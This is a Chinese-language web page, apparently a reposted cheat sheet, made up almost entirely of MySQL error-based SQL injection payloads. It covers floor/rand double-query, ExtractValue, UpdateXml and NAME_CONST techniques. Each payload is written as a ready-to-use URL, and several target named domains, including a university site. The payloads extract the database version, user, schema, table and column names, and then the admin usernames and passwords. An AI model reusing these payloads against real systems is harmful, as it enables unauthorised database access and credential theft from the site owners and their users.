注册
登录
| 关键词： select information concat schema tables limit http www php floor |
1、通过floor暴错/*数据库版本*/http://www.hx95.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*简单办法暴库*/http://www.hx95.com/sql.php?id=info()/*连接用户*/http://www.hx95.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*连接数据库*/http://www.hx95.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*暴库*/http://www.hx95.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*暴表*/http://www.hx95.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*暴字段*/http://www.hx95.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)/*暴内容*/http://www.hx95.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0×23,username,0x3a,password,0×23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)2、ExtractValue(有长度限制,最长32位)http://www.hx95.com/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))http://www.hx95.com/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0×23,username,0x3a,password,0×23) FROM admin limit 0,1)))3、UpdateXml(有长度限制,最长32位)http://www.hx95.com/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)http://www.hx95.com/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0×23,username,0x3a,password,0×23) FROM admin limit 0,1),0x7e),1)4、NAME_CONST(适用于低版本)http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)–5、Error based Double Query Injection(http://www.vaibs.in/error-based-double-query-injection/)/*数据库版本*/http://www.hx95.com/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
